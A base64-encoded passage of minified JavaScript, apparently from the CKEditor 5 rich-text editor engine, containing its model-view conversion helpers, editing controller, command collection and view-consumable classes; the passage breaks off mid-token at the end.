dC5tb2RlbCxqZih0LnZpZXcpLHtwcmlvcml0eTp0LmNvbnZlcnRlclByaW9yaXR5fHwibm9ybWFsIn0pO2lmKHQudHJpZ2dlckJ5KXtpZih0LnRyaWdnZXJCeS5hdHRyaWJ1dGVzKXtmb3IoY29uc3QgbiBvZiB0LnRyaWdnZXJCeS5hdHRyaWJ1dGVzKXtlLl9tYXBSZWNvbnZlcnNpb25UcmlnZ2VyRXZlbnQodC5tb2RlbCxgYXR0cmlidXRlOiR7bn06JHt0Lm1vZGVsfWApfX1pZih0LnRyaWdnZXJCeS5jaGlsZHJlbil7Zm9yKGNvbnN0IG4gb2YgdC50cmlnZ2VyQnkuY2hpbGRyZW4pe2UuX21hcFJlY29udmVyc2lvblRyaWdnZXJFdmVudCh0Lm1vZGVsLGBpbnNlcnQ6JHtufWApO2UuX21hcFJlY29udmVyc2lvblRyaWdnZXJFdmVudCh0Lm1vZGVsLGByZW1vdmU6JHtufWApfX19fX1mdW5jdGlvbiBaZih0KXt0PVRmKHQpO2NvbnN0IGU9dC5tb2RlbC5rZXk/dC5tb2RlbC5rZXk6dC5tb2RlbDtsZXQgbj0iYXR0cmlidXRlOiIrZTtpZih0Lm1vZGVsLm5hbWUpe24rPSI6Iit0Lm1vZGVsLm5hbWV9aWYodC5tb2RlbC52YWx1ZXMpe2Zvcihjb25zdCBlIG9mIHQubW9kZWwudmFsdWVzKXt0LnZpZXdbZV09aW0odC52aWV3W2VdLCJhdHRyaWJ1dGUiKX19ZWxzZXt0LnZpZXc9aW0odC52aWV3LCJhdHRyaWJ1dGUiKX1jb25zdCBpPXJtKHQpO3JldHVybiBlPT57ZS5vbihuLFJmKGkpLHtwcmlvcml0eTp0LmNvbnZlcnRlclByaW9yaXR5fHwibm9ybWFsIn0pfX1mdW5jdGlvbiBYZih0KXt0PVRmKHQpO2NvbnN0IGU9dC5tb2RlbC5rZXk/dC5tb2RlbC5rZXk6dC5tb2RlbDtsZXQgbj0iYXR0cmlidXRlOiIrZTtpZih0Lm1vZGVsLm5hbWUpe24rPSI6Iit0Lm1vZGVsLm5hbWV9aWYodC5tb2RlbC52YWx1ZXMpe2Zvcihjb25zdCBlIG9mIHQubW9kZWwudmFsdWVzKXt0LnZpZXdbZV09c20odC52aWV3W2VdKX19ZWxzZXt0LnZpZXc9c20odC52aWV3KX1jb25zdCBpPXJtKHQpO3JldHVybiBlPT57ZS5vbihuLHFmKGkpLHtwcmlvcml0eTp0LmNvbnZlcnRlclByaW9yaXR5fHwibm9ybWFsIn0pfX1mdW5jdGlvbiB0bSh0KXt0PVRmKHQpO3Qudmlldz1pbSh0LnZpZXcsInVpIik7cmV0dXJuIGU9PntlLm9uKCJhZGRNYXJrZXI6Iit0Lm1vZGVsLEZmKHQudmlldykse3ByaW9yaXR5OnQuY29udmVydGVyUHJpb3JpdHl8fCJub3JtYWwifSk7ZS5vbigicmVtb3ZlTWFya2VyOiIrdC5tb2RlbCxWZih0LnZpZXcpLHtwcmlvcml0eTp0LmNvbnZlcnRlclByaW9yaXR5fHwibm9ybWFsIn0pfX1mdW5jdGlvbiBlbSh0KXt0PVRmKHQpO2NvbnN0IGU9dC5tb2RlbDtpZighdC52aWV3KXt0LnZpZXc9bj0+KHtncm91cDplLG5hbWU6bi5zdWJzdHIodC5tb2RlbC5sZW5ndGgrMSl9KX1yZXR1cm4gbj0+e24ub24oImFkZE1hcmtlcjoiK2UsVWYodC52aWV3KSx7cHJpb3JpdHk6dC5jb252ZXJ0ZXJQcmlvcml0eXx8Im5vcm1hbCJ9KTtuLm9uKCJyZW1vdmVNYXJrZXI6IitlLEtmKHQudmlldykse3ByaW9yaXR5OnQuY29udmVydGVyUHJpb3JpdHl8fCJub3JtYWwifSl9fWZ1bmN0aW9uIG5tKHQpe3JldHVybiBlPT57ZS5vbigiYWRkTWFya2VyOiIrdC5tb2RlbCxZZih0LnZpZXcpLHtwcmlvcml0eTp0LmNvbnZlcnRlclByaW9yaXR5fHwibm9ybWFsIn0pO2Uub24oImFkZE1hcmtlcjoiK3QubW9kZWwsUWYodC52aWV3KSx7cHJpb3JpdHk6dC5jb252ZXJ0ZXJQcmlvcml0eXx8Im5vcm1hbCJ9KTtlLm9uKCJyZW1vdmVNYXJrZXI6Iit0Lm1vZGVsLCRmKHQudmlldykse3ByaW9yaXR5OnQuY29udmVydGVyUHJpb3JpdHl8fCJub3JtYWwifSl9fWZ1bmN0aW9uIGltKHQsZSl7aWYodHlwZW9mIHQ9PSJmdW5jdGlvbiIpe3JldHVybiB0fXJldHVybihuLGkpPT5vbSh0LGksZSl9ZnVuY3Rpb24gb20odCxlLG4pe2lmKHR5cGVvZiB0PT0ic3RyaW5nIil7dD17bmFtZTp0fX1sZXQgaTtjb25zdCBvPWUud3JpdGVyO2NvbnN0IHI9T2JqZWN0LmFzc2lnbih7fSx0LmF0dHJpYnV0ZXMpO2lmKG49PSJjb250YWluZXIiKXtpPW8uY3JlYXRlQ29udGFpbmVyRWxlbWVudCh0Lm5hbWUscil9ZWxzZSBpZihuPT0iYXR0cmlidXRlIil7Y29uc3QgZT17cHJpb3JpdHk6dC5wcmlvcml0eXx8Q2wuREVGQVVMVF9QUklPUklUWX07aT1vLmNyZWF0ZUF0dHJpYnV0ZUVsZW1lbnQodC5uYW1lLHIsZSl9ZWxzZXtpPW8uY3JlYXRlVUlFbGVtZW50KHQubmFtZSxyKX1pZih0LnN0eWxlcyl7Y29uc3QgZT1PYmplY3Qua2V5cyh0LnN0eWxlcyk7Zm9yKGNvbnN0IG4gb2YgZSl7by5zZXRTdHlsZShuLHQuc3R5bGVzW25dLGkpfX1pZih0LmNsYXNzZXMpe2NvbnN0IGU9dC5jbGFzc2VzO2lmKHR5cGVvZiBlPT0ic3RyaW5nIil7by5hZGRDbGFzcyhlLGkpfWVsc2V7Zm9yKGNvbnN0IHQgb2YgZSl7by5hZGRDbGFzcyh0LGkpfX19cmV0dXJuIGl9ZnVuY3Rpb24gcm0odCl7aWYodC5tb2RlbC52YWx1ZXMpe3JldHVybihlLG4pPT57Y29uc3QgaT10LnZpZXdbZV07aWYoaSl7cmV0dXJuIGkoZSxuKX1yZXR1cm4gbnVsbH19ZWxzZXtyZXR1cm4gdC52aWV3fX1mdW5jdGlvbiBzbSh0KXtpZih0eXBlb2YgdD09InN0cmluZyIpe3JldHVybiBlPT4oe2tleTp0LHZhbHVlOmV9KX1lbHNlIGlmKHR5cGVvZiB0PT0ib2JqZWN0Iil7aWYodC52YWx1ZSl7cmV0dXJuKCk9PnR9ZWxzZXtyZXR1cm4gZT0+KHtrZXk6dC5rZXksdmFsdWU6ZX0pfX1lbHNle3JldHVybiB0fX1mdW5jdGlvbiBhbSh0LGUsbil7Y29uc3QgaT10eXBlb2YgdD09ImZ1bmN0aW9uIj90KGUsbik6dDtpZighaSl7cmV0dXJuIG51bGx9aWYoIWkucHJpb3JpdHkpe2kucHJpb3JpdHk9MTB9aWYoIWkuaWQpe2kuaWQ9ZS5tYXJrZXJOYW1lfXJldHVybiBpfWZ1bmN0aW9uIGNtKHQpe2NvbnN0e3NjaGVtYTplLGRvY3VtZW50Om59PXQubW9kZWw7Zm9yKGNvbnN0IGkgb2Ygbi5nZXRSb290TmFtZXMoKSl7Y29uc3Qgbz1uLmdldFJvb3QoaSk7aWYoby5pc0VtcHR5JiYhZS5jaGVja0NoaWxkKG8sIiR0ZXh0Iikpe2lmKGUuY2hlY2tDaGlsZChvLCJwYXJhZ3JhcGgiKSl7dC5pbnNlcnRFbGVtZW50KCJwYXJhZ3JhcGgiLG8pO3JldHVybiB0cnVlfX19cmV0dXJuIGZhbHNlfWZ1bmN0aW9uIGxtKHQsZSxuKXtjb25zdCBpPW4uY3JlYXRlQ29udGV4dCh0KTtpZighbi5jaGVja0NoaWxkKGksInBhcmFncmFwaCIpKXtyZXR1cm4gZmFsc2V9aWYoIW4uY2hlY2tDaGlsZChpLnB1c2goInBhcmFncmFwaCIpLGUpKXtyZXR1cm4gZmFsc2V9cmV0dXJuIHRydWV9ZnVuY3Rpb24gZG0odCxlKXtjb25zdCBuPWUuY3JlYXRlRWxlbWVudCgicGFyYWdyYXBoIik7ZS5pbnNlcnQobix0KTtyZXR1cm4gZS5jcmVhdGVQb3NpdGlvbkF0KG4sMCl9Y2xhc3MgdW0gZXh0ZW5kcyBEZntlbGVtZW50VG9FbGVtZW50KHQpe3JldHVybiB0aGlzLmFkZChnbSh0KSl9ZWxlbWVudFRvQXR0cmlidXRlKHQpe3JldHVybiB0aGlzLmFkZChwbSh0KSl9YXR0cmlidXRlVG9BdHRyaWJ1dGUodCl7cmV0dXJuIHRoaXMuYWRkKGttKHQpKX1lbGVtZW50VG9NYXJrZXIodCl7T2JqZWN0KHNzWyJjIl0pKCJ1cGNhc3QtaGVscGVycy1lbGVtZW50LXRvLW1hcmtlci1kZXByZWNhdGVkIik7cmV0dXJuIHRoaXMuYWRkKGJtKHQpKX1kYXRhVG9NYXJrZXIodCl7cmV0dXJuIHRoaXMuYWRkKHdtKHQpKX19ZnVuY3Rpb24gaG0oKXtyZXR1cm4odCxlLG4pPT57aWYoIWUubW9kZWxSYW5nZSYmbi5jb25zdW1hYmxlLmNvbnN1bWUoZS52aWV3SXRlbSx7bmFtZTp0cnVlfSkpe2NvbnN0e21vZGVsUmFuZ2U6dCxtb2RlbEN1cnNvcjppfT1uLmNvbnZlcnRDaGlsZHJlbihlLnZpZXdJdGVtLGUubW9kZWxDdXJzb3IpO2UubW9kZWxSYW5nZT10O2UubW9kZWxDdXJzb3I9aX19fWZ1bmN0aW9uIGZtKCl7cmV0dXJuKHQsZSx7c2NoZW1hOm4sY29uc3VtYWJsZTppLHdyaXRlcjpvfSk9PntsZXQgcj1lLm1vZGVsQ3Vyc29yO2lmKCFpLnRlc3QoZS52aWV3SXRlbSkpe3JldHVybn1pZighbi5jaGVja0NoaWxkKHIsIiR0ZXh0Iikpe2lmKCFsbShyLCIkdGV4dCIsbikpe3JldHVybn1yPWRtKHIsbyl9aS5jb25zdW1lKGUudmlld0l0ZW0pO2NvbnN0IHM9by5jcmVhdGVUZXh0KGUudmlld0l0ZW0uZGF0YSk7by5pbnNlcnQocyxyKTtlLm1vZGVsUmFuZ2U9by5jcmVhdGVSYW5nZShyLHIuZ2V0U2hpZnRlZEJ5KHMub2Zmc2V0U2l6ZSkpO2UubW9kZWxDdXJzb3I9ZS5tb2RlbFJhbmdlLmVuZH19ZnVuY3Rpb24gbW0odCxlKXtyZXR1cm4obixpKT0+e2NvbnN0IG89aS5uZXdTZWxlY3Rpb247Y29uc3Qgcj1bXTtmb3IoY29uc3QgdCBvZiBvLmdldFJhbmdlcygpKXtyLnB1c2goZS50b01vZGVsUmFuZ2UodCkpfWNvbnN0IHM9dC5jcmVhdGVTZWxlY3Rpb24ocix7YmFja3dhcmQ6by5pc0JhY2t3YXJkfSk7aWYoIXMuaXNFcXVhbCh0LmRvY3VtZW50LnNlbGVjdGlvbikpe3QuY2hhbmdlKCh0PT57dC5zZXRTZWxlY3Rpb24ocyl9KSl9fX1mdW5jdGlvbiBnbSh0KXt0PVRmKHQpO2NvbnN0IGU9X20odCk7Y29uc3Qgbj1BbSh0LnZpZXcpO2NvbnN0IGk9bj8iZWxlbWVudDoiK246ImVsZW1lbnQiO3JldHVybiBuPT57bi5vbihpLGUse3ByaW9yaXR5OnQuY29udmVydGVyUHJpb3JpdHl8fCJub3JtYWwifSl9fWZ1bmN0aW9uIHBtKHQpe3Q9VGYodCk7eG0odCk7Y29uc3QgZT1EbSh0LGZhbHNlKTtjb25zdCBuPUFtKHQudmlldyk7Y29uc3QgaT1uPyJlbGVtZW50OiIrbjoiZWxlbWVudCI7cmV0dXJuIG49PntuLm9uKGksZSx7cHJpb3JpdHk6dC5jb252ZXJ0ZXJQcmlvcml0eXx8ImxvdyJ9KX19ZnVuY3Rpb24ga20odCl7dD1UZih0KTtsZXQgZT1udWxsO2lmKHR5cGVvZiB0LnZpZXc9PSJzdHJpbmcifHx0LnZpZXcua2V5KXtlPXltKHQpfXhtKHQsZSk7Y29uc3Qgbj1EbSh0LHRydWUpO3JldHVybiBlPT57ZS5vbigiZWxlbWVudCIsbix7cHJpb3JpdHk6dC5jb252ZXJ0ZXJQcmlvcml0eXx8ImxvdyJ9KX19ZnVuY3Rpb24gYm0odCl7dD1UZih0KTtTbSh0KTtyZXR1cm4gZ20odCl9ZnVuY3Rpb24gd20odCl7dD1UZih0KTtpZighdC5tb2RlbCl7dC5tb2RlbD1lPT5lP3QudmlldysiOiIrZTp0LnZpZXd9Y29uc3QgZT1fbShUbSh0LCJzdGFydCIpKTtjb25zdCBuPV9tKFRtKHQsImVuZCIpKTtyZXR1cm4gaT0+e2kub24oImVsZW1lbnQ6Iit0LnZpZXcrIi1zdGFydCIsZSx7cHJpb3JpdHk6dC5jb252ZXJ0ZXJQcmlvcml0eXx8Im5vcm1hbCJ9KTtpLm9uKCJlbGVtZW50OiIrdC52aWV3KyItZW5kIixuLHtwcmlvcml0eTp0LmNvbnZlcnRlclByaW9yaXR5fHwibm9ybWFsIn0pO2NvbnN0IG89b3MuZ2V0KCJsb3ciKTtjb25zdCByPW9zLmdldCgiaGlnaGVzdCIpO2NvbnN0IHM9b3MuZ2V0KHQuY29udmVydGVyUHJpb3JpdHkpL3I7aS5vbigiZWxlbWVudCIsQ20odCkse3ByaW9yaXR5Om8rc30pfX1mdW5jdGlvbiBDbSh0KXtyZXR1cm4oZSxuLGkpPT57Y29uc3Qgbz1gZGF0YS0ke3Qudmlld31gO2lmKCFuLm1vZGVsUmFuZ2Upe249T2JqZWN0LmFzc2lnbihuLGkuY29udmVydENoaWxkcmVuKG4udmlld0l0ZW0sbi5tb2RlbEN1cnNvcikpfWlmKGkuY29uc3VtYWJsZS5jb25zdW1lKG4udmlld0l0ZW0se2F0dHJpYnV0ZXM6bysiLWVuZC1hZnRlciJ9KSl7cihuLm1vZGVsUmFuZ2UuZW5kLG4udmlld0l0ZW0uZ2V0QXR0cmlidXRlKG8rIi1lbmQtYWZ0ZXIiKS5zcGxpdCgiLCIpKX1pZihpLmNvbnN1bWFibGUuY29uc3VtZShuLnZpZXdJdGVtLHthdHRyaWJ1dGVzOm8rIi1zdGFydC1hZnRlciJ9KSl7cihuLm1vZGVsUmFuZ2UuZW5kLG4udmlld0l0ZW0uZ2V0QXR0cmlidXRlKG8rIi1zdGFydC1hZnRlciIpLnNwbGl0KCIsIikpfWlmKGkuY29uc3VtYWJsZS5jb25zdW1lKG4udmlld0l0ZW0se2F0dHJpYnV0ZXM6bysiLWVuZC1iZWZvcmUifSkpe3Iobi5tb2RlbFJhbmdlLnN0YXJ0LG4udmlld0l0ZW0uZ2V0QXR0cmlidXRlKG8rIi1lbmQtYmVmb3JlIikuc3BsaXQoIiwiKSl9aWYoaS5jb25zdW1hYmxlLmNvbnN1bWUobi52aWV3SXRlbSx7YXR0cmlidXRlczpvKyItc3RhcnQtYmVmb3JlIn0pKXtyKG4ubW9kZWxSYW5nZS5zdGFydCxuLnZpZXdJdGVtLmdldEF0dHJpYnV0ZShvKyItc3RhcnQtYmVmb3JlIikuc3BsaXQoIiwiKSl9ZnVuY3Rpb24gcihlLG8pe2Zvcihjb25zdCByIG9mIG8pe2NvbnN0IG89dC5tb2RlbChyLGkpO2NvbnN0IHM9aS53cml0ZXIuY3JlYXRlRWxlbWVudCgiJG1hcmtlciIseyJkYXRhLW5hbWUiOm99KTtpLndyaXRlci5pbnNlcnQocyxlKTtpZihuLm1vZGVsQ3Vyc29yLmlzRXF1YWwoZSkpe24ubW9kZWxDdXJzb3I9bi5tb2RlbEN1cnNvci5nZXRTaGlmdGVkQnkoMSl9ZWxzZXtuLm1vZGVsQ3Vyc29yPW4ubW9kZWxDdXJzb3IuX2dldFRyYW5zZm9ybWVkQnlJbnNlcnRpb24oZSwxKX1uLm1vZGVsUmFuZ2U9bi5tb2RlbFJhbmdlLl9nZXRUcmFuc2Zvcm1lZEJ5SW5zZXJ0aW9uKGUsMSlbMF19fX19ZnVuY3Rpb24gQW0odCl7aWYodHlwZW9mIHQ9PSJzdHJpbmciKXtyZXR1cm4gdH1pZih0eXBlb2YgdD09Im9iamVjdCImJnR5cGVvZiB0Lm5hbWU9PSJzdHJpbmciKXtyZXR1cm4gdC5uYW1lfXJldHVybiBudWxsfWZ1bmN0aW9uIF9tKHQpe2NvbnN0IGU9bmV3IFdzKHQudmlldyk7cmV0dXJuKG4saSxvKT0+e2NvbnN0IHI9ZS5tYXRjaChpLnZpZXdJdGVtKTtpZighcil7cmV0dXJufWNvbnN0IHM9ci5tYXRjaDtzLm5hbWU9dHJ1ZTtpZighby5jb25zdW1hYmxlLnRlc3QoaS52aWV3SXRlbSxzKSl7cmV0dXJufWNvbnN0IGE9dm0odC5tb2RlbCxpLnZpZXdJdGVtLG8pO2lmKCFhKXtyZXR1cm59aWYoIW8uc2FmZUluc2VydChhLGkubW9kZWxDdXJzb3IpKXtyZXR1cm59by5jb25zdW1hYmxlLmNvbnN1bWUoaS52aWV3SXRlbSxzKTtvLmNvbnZlcnRDaGlsZHJlbihpLnZpZXdJdGVtLGEpO28udXBkYXRlQ29udmVyc2lvblJlc3VsdChhLGkpfX1mdW5jdGlvbiB2bSh0LGUsbil7aWYodCBpbnN0YW5jZW9mIEZ1bmN0aW9uKXtyZXR1cm4gdChlLG4pfWVsc2V7cmV0dXJuIG4ud3JpdGVyLmNyZWF0ZUVsZW1lbnQodCl9fWZ1bmN0aW9uIHltKHQpe2lmKHR5cGVvZiB0LnZpZXc9PSJzdHJpbmciKXt0LnZpZXc9e2tleTp0LnZpZXd9fWNvbnN0IGU9dC52aWV3LmtleTtsZXQgbjtpZihlPT0iY2xhc3MifHxlPT0ic3R5bGUiKXtjb25zdCBpPWU9PSJjbGFzcyI/ImNsYXNzZXMiOiJzdHlsZXMiO249e1tpXTp0LnZpZXcudmFsdWV9fWVsc2V7Y29uc3QgaT10eXBlb2YgdC52aWV3LnZhbHVlPT0idW5kZWZpbmVkIj8vW1xzXFNdKi86dC52aWV3LnZhbHVlO249e2F0dHJpYnV0ZXM6e1tlXTppfX19aWYodC52aWV3Lm5hbWUpe24ubmFtZT10LnZpZXcubmFtZX10LnZpZXc9bjtyZXR1cm4gZX1mdW5jdGlvbiB4bSh0LGU9bnVsbCl7Y29uc3Qgbj1lPT09bnVsbD90cnVlOnQ9PnQuZ2V0QXR0cmlidXRlKGUpO2NvbnN0IGk9dHlwZW9mIHQubW9kZWwhPSJvYmplY3QiP3QubW9kZWw6dC5tb2RlbC5rZXk7Y29uc3Qgbz10eXBlb2YgdC5tb2RlbCE9Im9iamVjdCJ8fHR5cGVvZiB0Lm1vZGVsLnZhbHVlPT0idW5kZWZpbmVkIj9uOnQubW9kZWwudmFsdWU7dC5tb2RlbD17a2V5OmksdmFsdWU6b319ZnVuY3Rpb24gRG0odCxlKXtjb25zdCBuPW5ldyBXcyh0LnZpZXcpO3JldHVybihpLG8scik9Pntjb25zdCBzPW4ubWF0Y2goby52aWV3SXRlbSk7aWYoIXMpe3JldHVybn1jb25zdCBhPXQubW9kZWwua2V5O2NvbnN0IGM9dHlwZW9mIHQubW9kZWwudmFsdWU9PSJmdW5jdGlvbiI/dC5tb2RlbC52YWx1ZShvLnZpZXdJdGVtLHIpOnQubW9kZWwudmFsdWU7aWYoYz09PW51bGwpe3JldHVybn1pZihFbSh0LnZpZXcsby52aWV3SXRlbSkpe3MubWF0Y2gubmFtZT10cnVlfWVsc2V7ZGVsZXRlIHMubWF0Y2gubmFtZX1pZighci5jb25zdW1hYmxlLnRlc3Qoby52aWV3SXRlbSxzLm1hdGNoKSl7cmV0dXJufWlmKCFvLm1vZGVsUmFuZ2Upe289T2JqZWN0LmFzc2lnbihvLHIuY29udmVydENoaWxkcmVuKG8udmlld0l0ZW0sby5tb2RlbEN1cnNvcikpfWNvbnN0IGw9TW0oby5tb2RlbFJhbmdlLHtrZXk6YSx2YWx1ZTpjfSxlLHIpO2lmKGwpe3IuY29uc3VtYWJsZS5jb25zdW1lKG8udmlld0l0ZW0scy5tYXRjaCl9fX1mdW5jdGlvbiBFbSh0LGUpe2NvbnN0IG49dHlwZW9mIHQ9PSJmdW5jdGlvbiI/dChlKTp0O2lmKHR5cGVvZiBuPT0ib2JqZWN0IiYmIUFtKG4pKXtyZXR1cm4gZmFsc2V9cmV0dXJuIW4uY2xhc3NlcyYmIW4uYXR0cmlidXRlcyYmIW4uc3R5bGVzfWZ1bmN0aW9uIE1tKHQsZSxuLGkpe2xldCBvPWZhbHNlO2Zvcihjb25zdCByIG9mIEFycmF5LmZyb20odC5nZXRJdGVtcyh7c2hhbGxvdzpufSkpKXtpZihpLnNjaGVtYS5jaGVja0F0dHJpYnV0ZShyLGUua2V5KSl7aS53cml0ZXIuc2V0QXR0cmlidXRlKGUua2V5LGUudmFsdWUscik7bz10cnVlfX1yZXR1cm4gb31mdW5jdGlvbiBTbSh0KXtjb25zdCBlPXQubW9kZWw7dC5tb2RlbD0odCxuKT0+e2NvbnN0IGk9dHlwZW9mIGU9PSJzdHJpbmciP2U6ZSh0LG4pO3JldHVybiBuLndyaXRlci5jcmVhdGVFbGVtZW50KCIkbWFya2VyIix7ImRhdGEtbmFtZSI6aX0pfX1mdW5jdGlvbiBUbSh0LGUpe2NvbnN0IG49e307bi52aWV3PXQudmlldysiLSIrZTtuLm1vZGVsPShlLG4pPT57Y29uc3QgaT1lLmdldEF0dHJpYnV0ZSgibmFtZSIpO2NvbnN0IG89dC5tb2RlbChpLG4pO3JldHVybiBuLndyaXRlci5jcmVhdGVFbGVtZW50KCIkbWFya2VyIix7ImRhdGEtbmFtZSI6b30pfTtyZXR1cm4gbn1jbGFzcyBJbXtjb25zdHJ1Y3Rvcih0LGUpe3RoaXMubW9kZWw9dDt0aGlzLnZpZXc9bmV3IFVoKGUpO3RoaXMubWFwcGVyPW5ldyBuZjt0aGlzLmRvd25jYXN0RGlzcGF0Y2hlcj1uZXcgc2Yoe21hcHBlcjp0aGlzLm1hcHBlcixzY2hlbWE6dC5zY2hlbWF9KTtjb25zdCBuPXRoaXMubW9kZWwuZG9jdW1lbnQ7Y29uc3QgaT1uLnNlbGVjdGlvbjtjb25zdCBvPXRoaXMubW9kZWwubWFya2Vyczt0aGlzLmxpc3RlblRvKHRoaXMubW9kZWwsIl9iZWZvcmVDaGFuZ2VzIiwoKCk9Pnt0aGlzLnZpZXcuX2Rpc2FibGVSZW5kZXJpbmcodHJ1ZSl9KSx7cHJpb3JpdHk6ImhpZ2hlc3QifSk7dGhpcy5saXN0ZW5Ubyh0aGlzLm1vZGVsLCJfYWZ0ZXJDaGFuZ2VzIiwoKCk9Pnt0aGlzLnZpZXcuX2Rpc2FibGVSZW5kZXJpbmcoZmFsc2UpfSkse3ByaW9yaXR5OiJsb3dlc3QifSk7dGhpcy5saXN0ZW5UbyhuLCJjaGFuZ2UiLCgoKT0+e3RoaXMudmlldy5jaGFuZ2UoKHQ9Pnt0aGlzLmRvd25jYXN0RGlzcGF0Y2hlci5jb252ZXJ0Q2hhbmdlcyhuLmRpZmZlcixvLHQpO3RoaXMuZG93bmNhc3REaXNwYXRjaGVyLmNvbnZlcnRTZWxlY3Rpb24oaSxvLHQpfSkpfSkse3ByaW9yaXR5OiJsb3cifSk7dGhpcy5saXN0ZW5Ubyh0aGlzLnZpZXcuZG9jdW1lbnQsInNlbGVjdGlvbkNoYW5nZSIsbW0odGhpcy5tb2RlbCx0aGlzLm1hcHBlcikpO3RoaXMuZG93bmNhc3REaXNwYXRjaGVyLm9uKCJpbnNlcnQ6JHRleHQiLE5mKCkse3ByaW9yaXR5OiJsb3dlc3QifSk7dGhpcy5kb3duY2FzdERpc3BhdGNoZXIub24oInJlbW92ZSIsQmYoKSx7cHJpb3JpdHk6ImxvdyJ9KTt0aGlzLmRvd25jYXN0RGlzcGF0Y2hlci5vbigic2VsZWN0aW9uIixPZigpLHtwcmlvcml0eToibG93In0pO3RoaXMuZG93bmNhc3REaXNwYXRjaGVyLm9uKCJzZWxlY3Rpb24iLHpmKCkse3ByaW9yaXR5OiJsb3cifSk7dGhpcy5kb3duY2FzdERpc3BhdGNoZXIub24oInNlbGVjdGlvbiIsTGYoKSx7cHJpb3JpdHk6ImxvdyJ9KTt0aGlzLnZpZXcuZG9jdW1lbnQucm9vdHMuYmluZFRvKHRoaXMubW9kZWwuZG9jdW1lbnQucm9vdHMpLnVzaW5nKCh0PT57aWYodC5yb290TmFtZT09IiRncmF2ZXlhcmQiKXtyZXR1cm4gbnVsbH1jb25zdCBlPW5ldyBkbCh0aGlzLnZpZXcuZG9jdW1lbnQsdC5uYW1lKTtlLnJvb3ROYW1lPXQucm9vdE5hbWU7dGhpcy5tYXBwZXIuYmluZEVsZW1lbnRzKHQsZSk7cmV0dXJuIGV9KSl9ZGVzdHJveSgpe3RoaXMudmlldy5kZXN0cm95KCk7dGhpcy5zdG9wTGlzdGVuaW5nKCl9fV9zKEltLEpjKTtjbGFzcyBObXtjb25zdHJ1Y3Rvcigpe3RoaXMuX2NvbW1hbmRzPW5ldyBNYXB9YWRkKHQsZSl7dGhpcy5fY29tbWFuZHMuc2V0KHQsZSl9Z2V0KHQpe3JldHVybiB0aGlzLl9jb21tYW5kcy5nZXQodCl9ZXhlY3V0ZSh0LC4uLmUpe2NvbnN0IG49dGhpcy5nZXQodCk7aWYoIW4pe3Rocm93IG5ldyBzc1siYSJdKCJjb21tYW5kY29sbGVjdGlvbi1jb21tYW5kLW5vdC1mb3VuZCIsdGhpcyx7Y29tbWFuZE5hbWU6dH0pfXJldHVybiBuLmV4ZWN1dGUoLi4uZSl9Km5hbWVzKCl7eWllbGQqdGhpcy5fY29tbWFuZHMua2V5cygpfSpjb21tYW5kcygpe3lpZWxkKnRoaXMuX2NvbW1hbmRzLnZhbHVlcygpfVtTeW1ib2wuaXRlcmF0b3JdKCl7cmV0dXJuIHRoaXMuX2NvbW1hbmRzW1N5bWJvbC5pdGVyYXRvcl0oKX1kZXN0cm95KCl7Zm9yKGNvbnN0IHQgb2YgdGhpcy5jb21tYW5kcygpKXt0LmRlc3Ryb3koKX19fWNsYXNzIEJte2NvbnN0cnVjdG9yKCl7dGhpcy5fY29uc3VtYWJsZXM9bmV3IE1hcH1hZGQodCxlKXtsZXQgbjtpZih0LmlzKCIkdGV4dCIpfHx0LmlzKCJkb2N1bWVudEZyYWdtZW50Iikpe3RoaXMuX2NvbnN1bWFibGVzLnNldCh0LHRydWUpO3JldHVybn1pZighdGhpcy5fY29uc3VtYWJsZXMuaGFzKHQpKXtuPW5ldyBQbSh0KTt0aGlzLl9jb25zdW1hYmxlcy5zZXQodCxuKX1lbHNle249dGhpcy5fY29uc3VtYWJsZXMuZ2V0KHQpfW4uYWRkKGUpfXRlc3QodCxlKXtjb25zdCBuPXRoaXMuX2NvbnN1bWFibGVzLmdldCh0KTtpZihuPT09dW5kZWZpbmVkKXtyZXR1cm4gbnVsbH1pZih0LmlzKCIkdGV4dCIpfHx0LmlzKCJkb2N1bWVudEZyYWdtZW50Iikpe3JldHVybiBufXJldHVybiBuLnRlc3QoZSl9Y29uc3VtZSh0LGUpe2lmKHRoaXMudGVzdCh0LGUpKXtpZih0LmlzKCIkdGV4dCIpfHx0LmlzKCJkb2N1bWVudEZyYWdtZW50Iikpe3RoaXMuX2NvbnN1bWFibGVzLnNldCh0LGZhbHNlKX1lbHNle3RoaXMuX2NvbnN1bWFibGVzLmdldCh0KS5jb25zdW1lKGUpfXJldHVybiB0cnVlfXJldHVybiBmYWxzZX1yZXZlcnQodCxlKXtjb25zdCBuPXRoaXMuX2NvbnN1bWFibGVzLmdldCh0KTtpZihuIT09dW5kZWZpbmVkKXtpZih0LmlzKCIkdGV4dCIpfHx0LmlzKCJkb2N1bWVudEZyYWdtZW50Iikpe3RoaXMuX2NvbnN1bWFibGVzLnNldCh0LHRydWUpfWVsc2V7bi5yZXZlcnQoZSl9fX1zdGF0aWMgY29uc3VtYWJsZXNGcm9tRWxlbWVudCh0KXtjb25zdCBlPXtlbGVtZW50OnQsbmFtZTp0cnVlLGF0dHJpYnV0ZXM6W10sY2xhc3NlczpbXSxzdHlsZXM6W119O2NvbnN0IG49dC5nZXRBdHRyaWJ1dGVLZXlzKCk7Zm9yKGNvbnN0IHQgb2Ygbil7aWYodD09InN0eWxlInx8dD09ImNsYXNzIil7Y29udGludWV9ZS5hdHRyaWJ1dGVzLnB1c2godCl9Y29uc3QgaT10LmdldENsYXNzTmFtZXMoKTtmb3IoY29uc3QgdCBvZiBpKXtlLmNsYXNzZXMucHVzaCh0KX1jb25zdCBvPXQuZ2V0U3R5bGVOYW1lcygpO2Zvcihjb25zdCB0IG9mIG8pe2Uuc3R5bGVzLnB1c2godCl9cmV0dXJuIGV9c3RhdGljIGNyZWF0ZUZyb20odCxlKXtpZighZSl7ZT1uZXcgQm0odCl9aWYodC5pcygiJHRleHQiKSl7ZS5hZGQodCk7cmV0dXJuIGV9aWYodC5pcygiZWxlbWVudCIpKXtlLmFkZCh0LEJtLmNvbnN1bWFibGVzRnJvbUVsZW1lbnQodCkpfWlmKHQuaXMoImRvY3VtZW50RnJhZ21lbnQiKSl7ZS5hZGQodCl9Zm9yKGNvbnN0IG4gb2YgdC5nZXRDaGlsZHJlbigpKXtlPUJtLmNyZWF0ZUZyb20obixlKX1yZXR1cm4gZX19Y2xhc3MgUG17Y29uc3RydWN0b3IodCl7dGhpcy5lbGVtZW50PXQ7dGhpcy5fY2FuQ29uc3VtZU5hbWU9bnVsbDt0aGlzLl9jb25zdW1hYmxlcz17YXR0cmlidXRlczpuZXcgTWFwLHN0eWxlczpuZXcgTWFwLGNsYX